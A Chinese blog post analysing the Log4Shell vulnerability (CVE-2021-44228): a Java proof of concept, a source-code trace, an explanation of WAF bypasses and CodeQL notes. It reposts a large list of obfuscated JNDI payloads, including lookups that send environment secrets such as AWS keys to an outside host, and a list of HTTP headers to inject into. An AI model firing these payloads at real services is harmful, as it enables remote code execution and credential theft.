0x01 前言

漏洞刚爆出来那天就分析完了一直懒着没写文章,简单分析一下,炒个冷饭。
其利用还是jndi,可以说是万恶之源了。似乎这个漏洞也是用codeql发现的,这里我应该也会写上codeql的学习过程。

0x02 CVE-2021-44228分析

环境搭建&poc

maven搭建环境

  1. <dependency>
  2. <groupId>org.apache.logging.log4j</groupId>
  3. <artifactId>log4j-core</artifactId>
  4. <version>2.14.0</version>
  5. </dependency>
package com.yq1ng.test;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * log4j2Vul
 *
 * @author yq1ng
 * @date 2022/2/9 17:46
 * @since 1.0.0
 */
public class log4j2Vul {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger();
        logger.error("${jndi:ldap://6aponi.dnslog.cn}");
    }
}

这个poc是最早出的,利用真是简单,还记得那晚上见框就插hhh。既然是jndi又解析了dnslog,直接定位到javax/naming/InitialContext.java#lookup()然后看堆栈。

影响范围

引用了版本处于2.x < 2.15.0-rc2的 Apache log4j-core的应用项目或组件

漏洞分析

官方修订日志:https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-3201?filter=allissues
github commit:https://github.com/apache/logging-log4j2/commit/7fe72d6
image.png
大改了lookup方法,关于log4J2的lookup官方也有详细说明,传送门:Lookups,看了下支持的协议真多,汇总可以看这个Property Substitution
image.png
来看主角:jndi,其他的“协议”也会用到,后面说
image.png
log4j2允许使用 jndi 检索变量,在检索之前也未对用户输入进行检查,所以source到sink畅通无阻导致漏洞的出现。一般使用log4j2是这样的

public static void main(String[] args) {
        Logger logger = LogManager.getLogger(LogManager.ROOT_LOGGER_NAME);
        logger.trace("trace level");
        logger.debug("debug level");
        logger.info("info level");
        logger.warn("warn level");
        logger.error("error level");
        logger.fatal("fatal level");
    }

再搭配xml的配置使用。

日志一共分为8个级别,由低到高依次为:All < Trace < Debug < Info < Warn < Error < Fatal < OFF。

  1. All:最低等级的,用于打开所有日志记录。
  2. Trace:是追踪,就是程序推进以下,你就可以写个trace输出,所以trace应该会特别多,不过没关系,我们可以设置最低日志级别不让他输出。
  3. Debug:指出细粒度信息事件对调试应用程序是非常有帮助的。
  4. Info:消息在粗粒度级别上突出强调应用程序的运行过程。
  5. Warn:输出警告及warn以下级别的日志。
  6. Error:输出错误信息日志。
  7. Fatal:输出每个严重的错误事件将会导致应用程序的退出的日志。
  8. OFF:最高等级的,用于关闭所有日志记录。

程序会打印高于或等于所设置级别的日志,设置的日志等级越高,打印出来的日志就越少。

在默认配置下error()fatal()可以触发漏洞,其余方法需要在配置文件中设置日志等级才行。原因就是在AbstractLogger.java#logIfEnabled()对当前日志等级进行了判断
image.png
可以选择跟进,也可以忽略
image.png
判断日志等级是否符合要求,各等级数值定义在org/apache/logging/log4j/spi/StandardLevel.java
image.png
只有当前日志等级大于等于设置的日志等级才会进入logMessage()。默认日志等级为ERROR,在代码中也有体现
image.png
然后一直跟,只看source被改变的点org/apache/logging/log4j/core/pattern/MessagePatternConverter.java#format()
image.png
先去判断msg是不是String的,然后前半部分是log记录的位置、时间、包之类的信息加上“用户输入”的信息,此时的workingBuilder还没有输入的信息,在123行的时候会被添加进去
image.png
接着看下半部分
image.png
这里对添加的信息逐个字符进行判断,看是否存在${.*,如果存在则会对其进行replace()。然后就是一直走呀,看org/apache/logging/log4j/core/lookup/Interpolator.java#lookup()
image.png
这里先对:前的字符进行截取看是否支持解析此“协议”,如果存在的话就会进到223行进行lookup.lookup(),这里jndi是存在的,所以跟进
image.png
这里JndiLookup.java就会使用jndiManager.lookup进行加载远程类导致rce。整个过程非常“清晰”,没有任何的sanitizers。rce就不复现了,起一个恶意的ladp服务即可。
如果不出网的话也可以对Java的一些信息进行dnslog探测,造成信息泄露。上面apache的doc上写了很多支持的“协议”
image.png
比如使用${jndi:ldap://${java:version}.zuongl.dnslog.cn}可以泄露版本等等这些可以看浅谈Log4j2信息泄露与不出网回显https://github.com/jas502n/Log4j2-CVE-2021-44228
然后针对waf的绕过像${jndi:${lower:l}${lower:d}a${lower:p}://domain.com}也就不难理解了,但是像${${::-j}ndi:rmi://domain.com/j}这种的为什么也可以?在上面跟踪的时候StrSubstitutor.java#replace()这里调用了一个substitute()方法,这个方法是替换变量的,通过循环判断进行替换。类中定义了几种常量
image.png
不想看代码也可以看文档介绍,其中:-是赋值的意思,比如${a:-b}就是b,所以一些绕过poc也就很好理解了。rc1、2的绕过可以看看素18师傅的文章:浅谈 Log4j2 漏洞,我也懒得写了。

收集poc

我也没咋收集,现在搬的是雨苁师傅的log4shell漏洞利用指南及Waf绕过技巧,防止以后无了

${jndi:ldap://domain.com/j}
${jndi:ldap:/domain.com/a}
${jndi:dns:/domain.com}
${jndi:dns://domain.com/j}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j}
${${::-j}ndi:rmi://domain.com/j}
${jndi:rmi://domainldap.com/j}
${${lower:jndi}:${lower:rmi}://domain.com/j}
${${lower:${lower:jndi}}:${lower:rmi}://domain.com/j}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://domain.com/j}
${jndi:${lower:l}${lower:d}a${lower:p}://domain.com}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//domain.com/a}
jn${env::-}di:
jn${date:}di${date:':'}
j${k8s:k5:-ND}i${sd:k5:-:}
j${main:\k5:-Nd}i${spring:k5:-:}
j${sys:k5:-nD}${lower:i${web:k5:-:}}
j${::-nD}i${::-:}
j${EnV:K5:-nD}i:
j${loWer:Nd}i${uPper::}

信息泄露

${jndi:ldap://${env:user}.domain.com/exp}
${jndi:dns://${hostName}.domain.com/a}
${jndi:dns://${env:COMPUTERNAME}.domain.com/a}
${jndi:dns://${env:USERDOMAIN}.domain.com/a}
${jndi:dns://${env:AWS_SECRET_ACCESS_KEY.domain.com/a}
${jndi:ldap://${ctx:loginId}.domain.com/j}
${jndi:ldap://${map:type}.domain.com/j}
${jndi:ldap://${filename}.domain.com/j}
${jndi:ldap://${date:MM-dd-yyyy}.domain.com/j}
${jndi:ldap://${docker:containerId}.domain.com/j}
${jndi:ldap://${docker:containerName}.domain.com/j}
${jndi:ldap://${docker:imageName}.domain.com/j}
${jndi:ldap://${env:USER}.domain.com/j}
${jndi:ldap://${event:Marker}.domain.com/j}
${jndi:ldap://${mdc:UserId}.domain.com/j}
${jndi:ldap://${java:runtime}.domain.com/j}
${jndi:ldap://${java:vm}.domain.com/j}
${jndi:ldap://${java:os}.domain.com/j}
${jndi:ldap://${jndi:logging/context-name}.domain.com/j}
${jndi:ldap://${hostName}.domain.com/j}
${jndi:ldap://${docker:containerId}.domain.com/j}
${jndi:ldap://${k8s:accountName}.domain.com/j}
${jndi:ldap://${k8s:clusterName}.domain.com/j}
${jndi:ldap://${k8s:containerId}.domain.com/j}
${jndi:ldap://${k8s:containerName}.domain.com/j}
${jndi:ldap://${k8s:host}.domain.com/j}
${jndi:ldap://${k8s:labels.app}.domain.com/j}
${jndi:ldap://${k8s:labels.podTemplateHash}.domain.com/j}
${jndi:ldap://${k8s:masterUrl}.domain.com/j}
${jndi:ldap://${k8s:namespaceId}.domain.com/j}
${jndi:ldap://${k8s:namespaceName}.domain.com/j}
${jndi:ldap://${k8s:podId}.domain.com/j}
${jndi:ldap://${k8s:podIp}.domain.com/j}
${jndi:ldap://${k8s:podName}.domain.com/j}
${jndi:ldap://${k8s:imageId}.domain.com/j}
${jndi:ldap://${k8s:imageName}.domain.com/j}
${jndi:ldap://${log4j:configLocation}.domain.com/j}
${jndi:ldap://${log4j:configParentLocation}.domain.com/j}
${jndi:ldap://${spring:spring.application.name}.domain.com/j}
${jndi:ldap://${main:myString}.domain.com/j}
${jndi:ldap://${main:0}.domain.com/j}
${jndi:ldap://${main:1}.domain.com/j}
${jndi:ldap://${main:2}.domain.com/j}
${jndi:ldap://${main:3}.domain.com/j}
${jndi:ldap://${main:4}.domain.com/j}
${jndi:ldap://${main:bar}.domain.com/j}
${jndi:ldap://${name}.domain.com/j}
${jndi:ldap://${marker}.domain.com/j}
${jndi:ldap://${marker:name}.domain.com/j}
${jndi:ldap://${spring:profiles.active[0].domain.com/j}
${jndi:ldap://${sys:logPath}.domain.com/j}
${jndi:ldap://${web:rootDir}.domain.com/j}

检查标头

Accept-Charset
Accept-Datetime
Accept-Encoding
Accept-Language
Authorization
Cache-Control
Cf-Connecting_ip
Client-Ip
Contact
Cookie
DNT
Forwarded
Forwarded-For
Forwarded-For-Ip
Forwarded-Proto
From
If-Modified-Since
Max-Forwards
Origin
Originating-Ip
Pragma
Referer
TE
True-Client-IP
True-Client-Ip
Upgrade
User-Agent
Via
Warning
X-ATT-DeviceId
X-Api-Version
X-Att-Deviceid
X-CSRFToken
X-Client-Ip
X-Correlation-ID
X-Csrf-Token
X-Do-Not-Track
X-Foo
X-Foo-Bar
X-Forward-For
X-Forward-Proto
X-Forwarded
X-Forwarded-By
X-Forwarded-For
X-Forwarded-For-Original
X-Forwarded-Host
X-Forwarded-Port
X-Forwarded-Proto
X-Forwarded-Protocol
X-Forwarded-Scheme
X-Forwarded-Server
X-Forwarded-Ssl
X-Forwarder-For
X-Frame-Options
X-From
X-Geoip-Country
X-HTTP-Method-Override
X-Http-Destinationurl
X-Http-Host-Override
X-Http-Method
X-Http-Method-Override
X-Http-Path-Override
X-Https
X-Htx-Agent
X-Hub-Signature
X-If-Unmodified-Since
X-Imbo-Test-Config
X-Insight
X-Ip
X-Ip-Trail
X-Leakix
X-Originating-Ip
X-ProxyUser-Ip
X-Real-Ip
X-Remote-Addr
X-Remote-Ip
X-Request-ID
X-Requested-With
X-UIDH
X-Wap-Profile
X-XSRF-TOKEN
Authorization: Basic 
Authorization: Bearer 
Authorization: Oauth 
Authorization: Token

codeql挖掘log4j2

说完原理就要说怎么大佬发现的这个漏洞了,听说就是codeql一顿扫就出了。最近codeql也火了起来,看完原理顺便学一下怎么写的规则。
利用CodeQL分析并挖掘Log4j漏洞
看藏青师傅的文章就好,我就不班门弄斧了。其中还发现了Summer师傅的规则:https://github.dev/SummerSec/LookupInterface,tql!
ql规则不是一次写好就完事的,需要具体分析,边看边改,简化了审计流程,但是还是需要对所审框架/组件有着理解才行。